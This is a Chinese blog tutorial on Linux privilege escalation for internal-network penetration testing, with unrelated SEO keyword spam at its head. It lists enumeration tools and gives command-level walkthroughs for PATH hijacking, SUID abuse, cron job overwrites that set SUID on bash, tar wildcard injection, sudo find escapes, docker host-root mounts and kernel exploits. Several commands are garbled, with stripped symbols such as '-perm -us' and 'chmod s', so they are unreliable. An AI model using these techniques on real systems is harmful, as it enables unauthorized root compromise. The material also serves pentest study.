怎么修改网站图片,常州市金坛区网站建设,苏州竞价托管,wordpress 菜单添加图标文章目录 内网渗透|Linux权限提升大法0x01 前言0x02 工具介绍1.traitor2.LinEnum3.linux-exploit-suggester.sh4.Linux Exploit Suggester 25.beroot 0X02提权手法1.环境变量提权2.利用suid提权3.定时任务提权3.1定时任务文件覆盖提权3.2定时任务tar命令通配符注入提权 4.sudo提… 文章目录 内网渗透|Linux权限提升大法0x01 前言0x02 工具介绍1.traitor2.LinEnum3.linux-exploit-suggester.sh4.Linux Exploit Suggester 25.beroot 0X02提权手法1.环境变量提权2.利用suid提权3.定时任务提权3.1定时任务文件覆盖提权3.2定时任务tar命令通配符注入提权 4.sudo提权5.Docker提权6.内核溢出提权 内网渗透|Linux权限提升大法
0x01 前言
免责声明请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用
0x02 工具介绍
1.traitor
地址https://github.com/liamg/traitor
描述 1. 自动化探测漏洞并且尝试提权工具也会进行一些信息收集但是漏洞库数量较少2. 不带参数运行寻找可能存在的漏洞3. 带-a参数运行寻找漏洞并尝试执行如果已知当前用户密码可以加-p参数用法 1.不带参数运行以查找可能允许权限升级的潜在漏洞/错误配置。-p如果当前用户密码已知则添加该标志。如果需要分析sudo权限等将要求输入密码。
traitor -p2.使用-a/--any标志运行以查找潜在漏洞尝试利用每个漏洞如果获得 root shell则停止。-p如果当前用户密码已知请再次添加该标志。
traitor -a -p3.使用-e/--exploit标志运行以尝试利用特定漏洞并获得 root shell。
traitor -p -e docker:writable-socket2.LinEnum
地址https://github.com/rebootuser/LinEnum
描述
可以对linux主机进行一个综合信息探测扫描linux上是否存在配置问题可以利用
例如版本定时任务权限环境变量等等可以方便我们快速的确认当前可以提权的方式用法
3.linux-exploit-suggester.sh
地址https://github.com/The-Z-Labs/linux-exploit-suggester
描述
漏扫脚本查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。用法
1.评估 Linux 机器对公开已知漏洞的暴露程度
./linux-exploit-suggester.sh2.显示 Linux 机器上的安全功能状态
./linux-exploit-suggester.sh --checksec3.根据提供的“uname”字符串即uname -a命令的输出评估 Linux 内核对已知漏洞的暴露程度
./linux-exploit-suggester.sh --uname uname-string4.Linux Exploit Suggester 2
地址https://github.com/jondonas/linux-exploit-suggester-2
描述
漏扫脚本查看是否有可以利用的漏洞。工具旨在帮助检测给定 Linux 内核/基于 Linux 的计算机的安全缺陷。用法
1.当不带参数运行时该脚本会执行“uname -r”来获取 Linux 操作系统发行版本并返回可能的漏洞利用列表。其中包含 CVE 和适用的漏洞利用 POC 的链接。请记住修补/向后移植的补丁可能会欺骗该脚本。
./linux-exploit-suggester-2.pl2.使用-k标志手动输入内核/操作系统发行版本的通配符。
./linux-exploit-suggester-2.pl -k 33.使用-d标志打开下载菜单直接从漏洞利用数据库检索漏洞利用代码。您可以下载所有漏洞利用程序也可以按编号单独选择它们。
./linux-exploit-suggester-2.pl -d4.使用-h标志显示帮助菜单
5.beroot
地址https://github.com/AlessandroZ/BeRoot
描述
BeRoot是一个后开发工具,该项目适用于 Windows、Linux,以方便找到提高我们提权的方法。0X02提权手法
1.环境变量提权
管理员编译程序的时候给了程序管理员权限运行的权限通过对程序的运行调试得到程序运行的大概逻辑尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序通常是我们的木马后门。
提权流程:
1.ind / -perm -us -type f 2/dev/null使用该命令或者上述工具进行信息收集找到有suid权限的程序
2.找到用户自己编译的程序
3.去分析这些程序通过反编译调试等手段查看是否有程序在运行过程中调用了环境变量的命令如pssuping等等
4.我们把bash或者sh复制为ps并添加到环境变量那么程序在调用ps时就会优先调用我们最新添加的环境变量ps使用sudi权限执行bash或者ps我们就会得到root权限的shell从而达到提权的目的
5.Linux 在执行命令时会按照以下顺序搜索可执行文件 1. 命令别名alias首先会检查是否存在与命令名称匹配的别名如果有则执行别名对应的命令。2. 用户自定义的函数如果存在如果用户在当前 Shell 中定义了与命令名称相同的函数则会执行该函数。3. 内建命令built-inLinux Shell 提供了一些内建命令例如 cd、echo等。如果命令是内建命令则会执行内建命令。4. 按照 PATH 环境变量中的顺序搜索可执行文件如果以上步骤都不匹配那么会按照环境变量 PATH中指定的径顺序搜索可执行文件。PATH环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径找到匹配的第一个可执行文件后执行。2.利用suid提权
具有suid权限的文件在执行时可以使调用者暂时获得该文件拥有者的执行权限也就是说具有suid权限的属于root用户的文件在执行时不管你当前是不是root用户都可以以root权限执行利用这个特性我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。
手动查看有suid权限的命令
find / -perm -us -type f 2/dev/null
find / -user root -perm -4000 -print 2/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;上面的所有二进制文件都将以 root 权限执行因为它们的权限中包含s 并且由 root 用户拥有。
可以用来提权的命令
Nmap
Vim
find
Bash
More
Less
Nano
cp例如find的利用
touch pentestlab
find pentestlab -exec whoami \;3.定时任务提权
3.1定时任务文件覆盖提权
利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权。
需要具备的条件 1. 有root权限执行的定时任务2. 有权限修改root权限执行的定时任务通过修改定时任务的程序让定时任务以root权限执行时执行我们想执行的内容从而达到提权的目的。
例如
添加定时任务,直接修改/etc/crontab添加添加定时任务还可以使用crontab -e添加但是crontab -e添加的定时任务只有当前用户可以看见所以这种提权方式需要直接修改/etc/crontab添加定时任务并以root权限执行
vim /etc/crontab这里添加一个定时清楚目录下所有文件的脚本也可以使用sh等脚本这里使用python
*/1 * * * * root /usr/bin/python3 /root/test/cleanup.pyimport os
import sys
try:os.system(rm -r /root/add/*)
except:sys.exit()添加后保存即可此时定时任务已经添加成功切换到普通用户cat /etc/crontab即可查看我们添加的定时任务。
在普通用户下也可以编译定时任务执行的文件。 可以把命令替换成 chmod us /bin/bash 赋予bash以suid权限如果不能修改有删除权限的话可以直接删掉写入一个同名文件即可返回给我们一个root权限的shell,需要加上-p参数才能提权bash -p
我们这边还可以给另一些可以提权的命令suid权限例如我们的find命令这边我给find命令添加suid权限后也成功拿到了root权限 find which find -exec whoami \;3.2定时任务tar命令通配符注入提权
定时任务Tar命令通配符注入提权Cron Tar Command Wildcard Injection Privilege Escalation是指通过在定时任务中使用Tar命令和通配符时利用不当地输入验证或不正确的权限配置使攻击者能够执行恶意代码并以更高的权限运行。
例如 1.添加一个定时任务每分钟备份一次add文件夹下的内容到back目录下
vim /etc/crontab
*/1 * * * * root cd/root/add;tar -zcf /root/back/add.tgz *2.接下来模拟攻击者提权发现存在定时任务压缩后在add目录下执行以下三个命令创建三个文件。
创建一个–checkpoint-actionexecsh test.sh名字的空文件创建–checkpoint1名字的空文件创建一个test.sh里边输入我们想要使用root权限执行的命令然后赋予test.sh可执行权限即可
echo --checkpoint1
echo --checkpoint-actionexecsh test.sh ##执行test.sh文件
echo cp /bin/bash /tmp/bash; chmod s /tmp/bash test.sh ##将/bin/bash复制到/tmp下并提权SUID权限同时将命令写入到test.sh脚本中
chmod x test.sh ##赋予执行权限这个方法利用了命令的一些特性例如目录下存在一个--help文件时我们使用cat --help会执行cat的帮助文档不会获取文件的信息这边也是一样在执行过程中会发生以下的事情。
tar -zcf /root/back/add.tgz --checkpoint1
tar -zcf /root/back/add.tgz --checkpoint-actionexecsh test.sh也就是在压缩这两个名字的时候会把checkpoint设为1且执行我们的test.sh文件由于定时任务以root权限运行那么我们就可以利用这个特性在test.sh写入我们想执行的任何命令达到提权的一个效果。
PS–checkpoint、–checkpoint-action正好是tar命令的参数打包到这里就会导致tar命令直接把–checkpoint1和–checkpoint-actionexecsh test.sh两个文件名当做参数执行而不打包文件。–checkpoint-actionexecsh test.sh参数的意思是执行同目录下test.sh文件test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限所以这里是一环套一环的。
3.此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件。
4.使用 /tmp/bash -p 即可提权
PS还有另一种情况
刚才的例子是压缩了当前目录的文件但是当命令是压缩指定目录下的文件时刚才的用法就失效了例如在以下定时任务情况下指定了/root/add/*目录此时拼接就会失效。
vim /etc/crontab
*/1 * * * * root tar -zcf /root/back/add.tgz /root/add/*这时候需要我们在执行完上面的操作后对add目录下的文件进行一个归档才可以成功解析我们的命令具体操作如下
echo cp /bin/bash /tmp/bash; chmod s /tmp/bash test.sh
echo --checkpoint-actionexecsh test.sh
echo --checkpoint1
tar cf archive.tar *执行完后只需要等待定时任务触发即可执行我们的test.sh。
4.sudo提权
在linux中可能会给普通用户sudo权限以便使用sudo进行root权限才可以进行的操作/etc/sudoers文件是sudo权限的配置文件其中存储了哪些用户以及命令可以以sudo权限执行。 这三条的意思分别是: root ALL(ALL:ALL) ALL
允许用户root在任何主机上以任何用户身份ALL:ALL执行任何命令。这授予了最高的权限。%admin ALL(ALL) ALL
允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权
限ALL表示可以在任何主机上执行(ALL) ALL表示可以以任何用户身份执行任何命令。%sudo ALL(ALL:ALL) ALL
允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似这
里也使用了%sudo表示组权限。在实际情况中目标可能会给普通用户分配sudo权限可能是 ALL(ALL:ALL) ALL 也可能是针对某个命令可以使用sudo权限如 ALL(ALL:ALL) /usr/bin/find。
这种sudo提权的方式就和suid提权的方式有点相识但是使用sudo提权需要两个必备条件 1. 知道当前用户的密码2. 有sudo权限执行任意命令或者sudo可以执行特定可以提权的命令如果sudo可以执行任何命令那么我们可以直接 sudo bash 获取root权限的shell如果不能需要查看/etc/sudoers配置文件中可以执行哪些命令上文中可以使用suid提权的命令在此处也是适用的。
例如:find提权
sudo find /home -exec whoami \; ##可以看到获得的是root用户
sudo find /home -exec bash \; ##或者直接调用bash来获取shell5.Docker提权
docker运行的所有命令都是需要sudo来运行那是因为docker需要root权限才能跑。Docker监护进程有一个特性它能被允许访问root用户或者是在docker组里面的所有用户。这就意味着有docker 组的权限就如同到root的访问权而且不需要知道密码。
区别于docker逃逸相当于是利用docker进行提权。如果用户具有docker权限可以利用docker的挂载实现容器和主机共享目录从而修改访问主机文件添加用户等功能完成提权。
条件
当前用户在docker用户组可以使用docke。1.查看是否在docker组下
cat /etc/group | grep olw2.利用docker将mnt目录挂载到宿主的根目录提权成功
docker run -v /:/mnt -it alpine6.内核溢出提权
利用堆栈溢出漏洞根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。
例如
第一步查看目标系统的相关信息
uname -a #查看内核/操作系统/cpu信息
cat /proc/version #查看系统信息
cat /etc/issue #查看操作系统版本
lsb_release -a #查询系统版本等信息第二步使用searchsploit工具寻找对应的exp
searchsploit -t 3.19searchsploit -x linux/local/37292.c第三步让目标机器远程下载exp文件 第四步将exp文件进行编译 第五步执行exp文件提权成功